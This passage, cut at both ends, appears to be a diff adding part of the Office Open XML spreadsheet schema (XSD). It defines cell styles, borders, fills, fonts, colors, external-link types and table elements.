minOccurs="0" maxOccurs="1"/> + <xsd:element name="cellStyles" type="CT_CellStyles" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dxfs" type="CT_Dxfs" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tableStyles" type="CT_TableStyles" minOccurs="0" maxOccurs="1"/> + <xsd:element name="colors" type="CT_Colors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CellAlignment"> + <xsd:attribute name="horizontal" type="ST_HorizontalAlignment" use="optional"/> + <xsd:attribute name="vertical" type="ST_VerticalAlignment" default="bottom" use="optional"/> + <xsd:attribute name="textRotation" type="ST_TextRotation" use="optional"/> + <xsd:attribute name="wrapText" type="xsd:boolean" use="optional"/> + <xsd:attribute name="indent" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="relativeIndent" type="xsd:int" use="optional"/> + <xsd:attribute name="justifyLastLine" type="xsd:boolean" use="optional"/> + <xsd:attribute name="shrinkToFit" type="xsd:boolean" use="optional"/> + <xsd:attribute name="readingOrder" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextRotation"> + <xsd:union> + <xsd:simpleType> + <xsd:restriction base="xsd:nonNegativeInteger"> + <xsd:maxInclusive value="180"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType> + <xsd:restriction base="xsd:nonNegativeInteger"> + <xsd:enumeration value="255"/> + </xsd:restriction> + </xsd:simpleType> + </xsd:union> + </xsd:simpleType> + <xsd:simpleType name="ST_BorderStyle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="thin"/> + <xsd:enumeration value="medium"/> + <xsd:enumeration value="dashed"/> + <xsd:enumeration value="dotted"/> + <xsd:enumeration value="thick"/> + <xsd:enumeration value="double"/> + <xsd:enumeration value="hair"/> + <xsd:enumeration value="mediumDashed"/> + <xsd:enumeration value="dashDot"/> + <xsd:enumeration value="mediumDashDot"/> + <xsd:enumeration value="dashDotDot"/> + <xsd:enumeration value="mediumDashDotDot"/> + <xsd:enumeration value="slantDashDot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Borders"> + <xsd:sequence> + <xsd:element name="border" type="CT_Border" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Border"> + <xsd:sequence> + <xsd:element name="start" type="CT_BorderPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="end" type="CT_BorderPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="left" type="CT_BorderPr" minOccurs="0"/> + <xsd:element name="right" type="CT_BorderPr" minOccurs="0"/> + <xsd:element name="top" type="CT_BorderPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bottom" type="CT_BorderPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="diagonal" type="CT_BorderPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="vertical" type="CT_BorderPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="horizontal" type="CT_BorderPr" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="diagonalUp" type="xsd:boolean" use="optional"/> + <xsd:attribute name="diagonalDown" type="xsd:boolean" use="optional"/> + <xsd:attribute name="outline" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_BorderPr"> + <xsd:sequence> + <xsd:element name="color" type="CT_Color" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="style" type="ST_BorderStyle" use="optional" default="none"/> + </xsd:complexType> + <xsd:complexType name="CT_CellProtection"> + <xsd:attribute name="locked" type="xsd:boolean" use="optional"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Fonts"> + <xsd:sequence> + <xsd:element name="font" type="CT_Font" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Fills"> + <xsd:sequence> + <xsd:element name="fill" type="CT_Fill" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Fill"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="patternFill" type="CT_PatternFill" minOccurs="0" maxOccurs="1"/> + <xsd:element name="gradientFill" type="CT_GradientFill" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_PatternFill"> + <xsd:sequence> + <xsd:element name="fgColor" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bgColor" type="CT_Color" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="patternType" type="ST_PatternType" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Color"> + <xsd:attribute name="auto" type="xsd:boolean" use="optional"/> + <xsd:attribute name="indexed" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rgb" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="theme" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="tint" type="xsd:double" use="optional" default="0.0"/> + </xsd:complexType> + <xsd:simpleType name="ST_PatternType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="solid"/> + <xsd:enumeration value="mediumGray"/> + <xsd:enumeration value="darkGray"/> + <xsd:enumeration value="lightGray"/> + <xsd:enumeration value="darkHorizontal"/> + <xsd:enumeration value="darkVertical"/> + <xsd:enumeration value="darkDown"/> + <xsd:enumeration value="darkUp"/> + <xsd:enumeration value="darkGrid"/> + <xsd:enumeration value="darkTrellis"/> + <xsd:enumeration value="lightHorizontal"/> + <xsd:enumeration value="lightVertical"/> + <xsd:enumeration value="lightDown"/> + <xsd:enumeration value="lightUp"/> + <xsd:enumeration value="lightGrid"/> + <xsd:enumeration value="lightTrellis"/> + <xsd:enumeration value="gray125"/> + <xsd:enumeration value="gray0625"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_GradientFill"> + <xsd:sequence> + <xsd:element name="stop" type="CT_GradientStop" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_GradientType" use="optional" default="linear"/> + <xsd:attribute name="degree" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="left" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="right" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="top" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="bottom" type="xsd:double" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_GradientStop"> + <xsd:sequence> + <xsd:element name="color" type="CT_Color" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="position" type="xsd:double" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_GradientType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="linear"/> + <xsd:enumeration value="path"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HorizontalAlignment"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="general"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="fill"/> + <xsd:enumeration value="justify"/> + <xsd:enumeration value="centerContinuous"/> + <xsd:enumeration value="distributed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_VerticalAlignment"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="bottom"/> + <xsd:enumeration value="justify"/> + <xsd:enumeration value="distributed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_NumFmts"> + <xsd:sequence> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_NumFmt"> + <xsd:attribute name="numFmtId" type="ST_NumFmtId" use="required"/> + <xsd:attribute name="formatCode" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CellStyleXfs"> + <xsd:sequence> + <xsd:element name="xf" type="CT_Xf" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CellXfs"> + <xsd:sequence> + <xsd:element name="xf" type="CT_Xf" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Xf"> + <xsd:sequence> + <xsd:element name="alignment" type="CT_CellAlignment" minOccurs="0" maxOccurs="1"/> + <xsd:element name="protection" type="CT_CellProtection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="numFmtId" type="ST_NumFmtId" use="optional"/> + <xsd:attribute name="fontId" type="ST_FontId" use="optional"/> + <xsd:attribute name="fillId" type="ST_FillId" use="optional"/> + <xsd:attribute name="borderId" type="ST_BorderId" use="optional"/> + <xsd:attribute name="xfId" type="ST_CellStyleXfId" use="optional"/> + <xsd:attribute name="quotePrefix" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pivotButton" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="applyNumberFormat" type="xsd:boolean" use="optional"/> + <xsd:attribute name="applyFont" type="xsd:boolean" use="optional"/> + <xsd:attribute name="applyFill" type="xsd:boolean" use="optional"/> + <xsd:attribute name="applyBorder" type="xsd:boolean" use="optional"/> + <xsd:attribute name="applyAlignment" type="xsd:boolean" use="optional"/> + <xsd:attribute name="applyProtection" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CellStyles"> + <xsd:sequence> + <xsd:element name="cellStyle" type="CT_CellStyle" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CellStyle"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="xfId" type="ST_CellStyleXfId" use="required"/> + <xsd:attribute name="builtinId" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="iLevel" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional"/> + <xsd:attribute name="customBuiltin" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Dxfs"> + <xsd:sequence> + <xsd:element name="dxf" type="CT_Dxf" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Dxf"> + <xsd:sequence> + <xsd:element name="font" type="CT_Font" minOccurs="0" maxOccurs="1"/> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fill" type="CT_Fill" minOccurs="0" maxOccurs="1"/> + <xsd:element name="alignment" type="CT_CellAlignment" minOccurs="0" maxOccurs="1"/> + <xsd:element name="border" type="CT_Border" minOccurs="0" maxOccurs="1"/> + <xsd:element name="protection" type="CT_CellProtection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_NumFmtId"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_FontId"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_FillId"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_BorderId"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_CellStyleXfId"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:simpleType name="ST_DxfId"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:complexType name="CT_Colors"> + <xsd:sequence> + <xsd:element name="indexedColors" type="CT_IndexedColors" minOccurs="0" maxOccurs="1"/> + <xsd:element name="mruColors" type="CT_MRUColors" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_IndexedColors"> + <xsd:sequence> + <xsd:element name="rgbColor" type="CT_RgbColor" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MRUColors"> + <xsd:sequence> + <xsd:element name="color" type="CT_Color" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_RgbColor"> + <xsd:attribute name="rgb" type="ST_UnsignedIntHex" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TableStyles"> + <xsd:sequence> + <xsd:element name="tableStyle" type="CT_TableStyle" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="defaultTableStyle" type="xsd:string" use="optional"/> + <xsd:attribute name="defaultPivotStyle" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TableStyle"> + <xsd:sequence> + <xsd:element name="tableStyleElement" type="CT_TableStyleElement" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="name" type="xsd:string" use="required"/> + <xsd:attribute name="pivot" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="table" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TableStyleElement"> + <xsd:attribute name="type" type="ST_TableStyleType" use="required"/> + <xsd:attribute name="size" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="dxfId" type="ST_DxfId" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TableStyleType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="wholeTable"/> + <xsd:enumeration value="headerRow"/> + <xsd:enumeration value="totalRow"/> + <xsd:enumeration value="firstColumn"/> + <xsd:enumeration value="lastColumn"/> + <xsd:enumeration value="firstRowStripe"/> + <xsd:enumeration value="secondRowStripe"/> + <xsd:enumeration value="firstColumnStripe"/> + <xsd:enumeration value="secondColumnStripe"/> + <xsd:enumeration value="firstHeaderCell"/> + <xsd:enumeration value="lastHeaderCell"/> + <xsd:enumeration value="firstTotalCell"/> + <xsd:enumeration value="lastTotalCell"/> + <xsd:enumeration value="firstSubtotalColumn"/> + <xsd:enumeration value="secondSubtotalColumn"/> + <xsd:enumeration value="thirdSubtotalColumn"/> + <xsd:enumeration value="firstSubtotalRow"/> + <xsd:enumeration value="secondSubtotalRow"/> + <xsd:enumeration value="thirdSubtotalRow"/> + <xsd:enumeration value="blankRow"/> + <xsd:enumeration value="firstColumnSubheading"/> + <xsd:enumeration value="secondColumnSubheading"/> + <xsd:enumeration value="thirdColumnSubheading"/> + <xsd:enumeration value="firstRowSubheading"/> + <xsd:enumeration value="secondRowSubheading"/> + <xsd:enumeration value="thirdRowSubheading"/> + <xsd:enumeration value="pageFieldLabels"/> + <xsd:enumeration value="pageFieldValues"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_BooleanProperty"> + <xsd:attribute name="val" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_FontSize"> + <xsd:attribute name="val" type="xsd:double" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_IntProperty"> + <xsd:attribute name="val" type="xsd:int" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FontName"> + <xsd:attribute name="val" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_VerticalAlignFontProperty"> + <xsd:attribute name="val" type="s:ST_VerticalAlignRun" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FontScheme"> + <xsd:attribute name="val" type="ST_FontScheme" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_FontScheme"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="major"/> + <xsd:enumeration value="minor"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_UnderlineProperty"> + <xsd:attribute name="val" type="ST_UnderlineValues" use="optional" default="single"/> + </xsd:complexType> + <xsd:simpleType name="ST_UnderlineValues"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="single"/> + <xsd:enumeration value="double"/> + <xsd:enumeration value="singleAccounting"/> + <xsd:enumeration value="doubleAccounting"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Font"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="name" type="CT_FontName" minOccurs="0" maxOccurs="1"/> + <xsd:element name="charset" type="CT_IntProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="family" type="CT_FontFamily" minOccurs="0" maxOccurs="1"/> + <xsd:element name="b" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="i" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="strike" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="outline" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shadow" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="condense" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extend" type="CT_BooleanProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="color" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sz" type="CT_FontSize" minOccurs="0" maxOccurs="1"/> + <xsd:element name="u" type="CT_UnderlineProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="vertAlign" type="CT_VerticalAlignFontProperty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="scheme" type="CT_FontScheme" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_FontFamily"> + <xsd:attribute name="val" type="ST_FontFamily" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_FontFamily"> + <xsd:restriction base="xsd:integer"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="14"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:attributeGroup name="AG_AutoFormat"> + <xsd:attribute name="autoFormatId" type="xsd:unsignedInt"/> + <xsd:attribute name="applyNumberFormats" type="xsd:boolean"/> + <xsd:attribute name="applyBorderFormats" type="xsd:boolean"/> + <xsd:attribute name="applyFontFormats" type="xsd:boolean"/> + <xsd:attribute name="applyPatternFormats" type="xsd:boolean"/> + <xsd:attribute name="applyAlignmentFormats" type="xsd:boolean"/> + <xsd:attribute name="applyWidthHeightFormats" type="xsd:boolean"/> + </xsd:attributeGroup> + <xsd:element name="externalLink" type="CT_ExternalLink"/> + <xsd:complexType name="CT_ExternalLink"> + <xsd:sequence> + <xsd:choice> + <xsd:element name="externalBook" type="CT_ExternalBook" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ddeLink" type="CT_DdeLink" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oleLink" type="CT_OleLink" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ExternalBook"> + <xsd:sequence> + <xsd:element name="sheetNames" type="CT_ExternalSheetNames" minOccurs="0" maxOccurs="1"/> + <xsd:element name="definedNames" type="CT_ExternalDefinedNames" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheetDataSet" type="CT_ExternalSheetDataSet" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_ExternalSheetNames"> + <xsd:sequence> + <xsd:element name="sheetName" minOccurs="1" maxOccurs="unbounded" type="CT_ExternalSheetName" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ExternalSheetName"> + <xsd:attribute name="val" type="s:ST_Xstring"/> + </xsd:complexType> + <xsd:complexType name="CT_ExternalDefinedNames"> + <xsd:sequence> + <xsd:element name="definedName" type="CT_ExternalDefinedName" minOccurs="0" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ExternalDefinedName"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="refersTo" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ExternalSheetDataSet"> + <xsd:sequence> + <xsd:element name="sheetData" type="CT_ExternalSheetData" minOccurs="1" maxOccurs="unbounded" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ExternalSheetData"> + <xsd:sequence> + <xsd:element name="row" type="CT_ExternalRow" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="sheetId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="refreshError" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ExternalRow"> + <xsd:sequence> + <xsd:element name="cell" type="CT_ExternalCell" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="r" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_ExternalCell"> + <xsd:sequence> + <xsd:element name="v" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="r" type="ST_CellRef" use="optional"/> + <xsd:attribute name="t" type="ST_CellType" use="optional" default="n"/> + <xsd:attribute name="vm" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_DdeLink"> + <xsd:sequence> + <xsd:element name="ddeItems" type="CT_DdeItems" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="ddeService" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="ddeTopic" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DdeItems"> + <xsd:sequence> + <xsd:element name="ddeItem" type="CT_DdeItem" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DdeItem"> + <xsd:sequence> + <xsd:element name="values" type="CT_DdeValues" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring" default="0"/> + <xsd:attribute name="ole" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="advise" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="preferPic" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_DdeValues"> + <xsd:sequence> + <xsd:element name="value" minOccurs="1" maxOccurs="unbounded" type="CT_DdeValue"/> + </xsd:sequence> + <xsd:attribute name="rows" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="cols" type="xsd:unsignedInt" use="optional" default="1"/> + </xsd:complexType> + <xsd:complexType name="CT_DdeValue"> + <xsd:sequence> + <xsd:element name="val" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="t" type="ST_DdeValueType" use="optional" default="n"/> + </xsd:complexType> + <xsd:simpleType name="ST_DdeValueType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="nil"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="n"/> + <xsd:enumeration value="e"/> + <xsd:enumeration value="str"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_OleLink"> + <xsd:sequence> + <xsd:element name="oleItems" type="CT_OleItems" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="required"/> + <xsd:attribute name="progId" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_OleItems"> + <xsd:sequence> + <xsd:element name="oleItem" type="CT_OleItem" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OleItem"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="icon" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="advise" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="preferPic" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:element name="table" type="CT_Table"/> + <xsd:complexType name="CT_Table"> + <xsd:sequence> + <xsd:element name="autoFilter" type="CT_AutoFilter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sortState" type="CT_SortState" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tableColumns" type="CT_TableColumns" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tableStyleInfo" type="CT_TableStyleInfo" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="displayName" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="comment" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + <xsd:attribute name="tableType" type="ST_TableType" use="optional" default="worksheet"/> + <xsd:attribute name="headerRowCount" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="insertRow" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="insertRowShift" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="totalsRowCount" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="totalsRowShown" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="published" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="headerRowDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="dataDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="totalsRowDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="headerRowBorderDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="tableBorderDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="totalsRowBorderDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="headerRowCellStyle" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="dataCellStyle" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="totalsRowCellStyle" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="connectionId" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TableType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="worksheet"/> + <xsd:enumeration value="xml"/> + <xsd:enumeration value="queryTable"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TableStyleInfo"> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="showFirstColumn" type="xsd:boolean" use="optional"/> + <xsd:attribute name="showLastColumn" type="xsd:boolean" use="optional"/> + <xsd:attribute name="showRowStripes" type="xsd:boolean" use="optional"/> + <xsd:attribute name="showColumnStripes" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TableColumns"> + <xsd:sequence> + <xsd:element name="tableColumn" type="CT_TableColumn" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TableColumn"> + <xsd:sequence> + <xsd:element name="calculatedColumnFormula" type="CT_TableFormula" minOccurs="0" maxOccurs="1"/> + <xsd:element name="totalsRowFormula" type="CT_TableFormula" minOccurs="0" maxOccurs="1"/> + <xsd:element name="xmlColumnPr" type="CT_XmlColumnPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="uniqueName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="totalsRowFunction" type="ST_TotalsRowFunction" use="optional" + default="none"/> + <xsd:attribute name="totalsRowLabel" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="queryTableFieldId" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="headerRowDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="dataDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="totalsRowDxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="headerRowCellStyle" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="dataCellStyle" type="s:ST_Xstring" use="optional"/> + <xsd:attribute 